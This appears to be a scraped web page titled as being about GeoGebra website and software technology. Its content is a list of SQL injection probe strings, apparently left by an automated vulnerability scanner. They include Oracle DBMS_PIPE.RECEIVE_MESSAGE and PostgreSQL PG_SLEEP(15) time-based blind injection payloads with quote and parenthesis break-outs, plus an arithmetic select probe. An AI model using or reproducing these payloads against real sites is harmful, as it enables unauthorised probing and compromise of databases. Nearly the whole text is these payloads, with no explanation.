GeoGebra网站及软件技术

(select 198766*667891)

@@q0wmg

555′”

555

555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555RlQrh92a’)) OR 207=(SELECT 207 FROM PG_SLEEP(15))–

555pQvaTk5S’) OR 230=(SELECT 230 FROM PG_SLEEP(15))–

555EWI5nY6e’ OR 749=(SELECT 749 FROM PG_SLEEP(15))–

555-1)) OR 884=(SELECT 884 FROM PG_SLEEP(15))–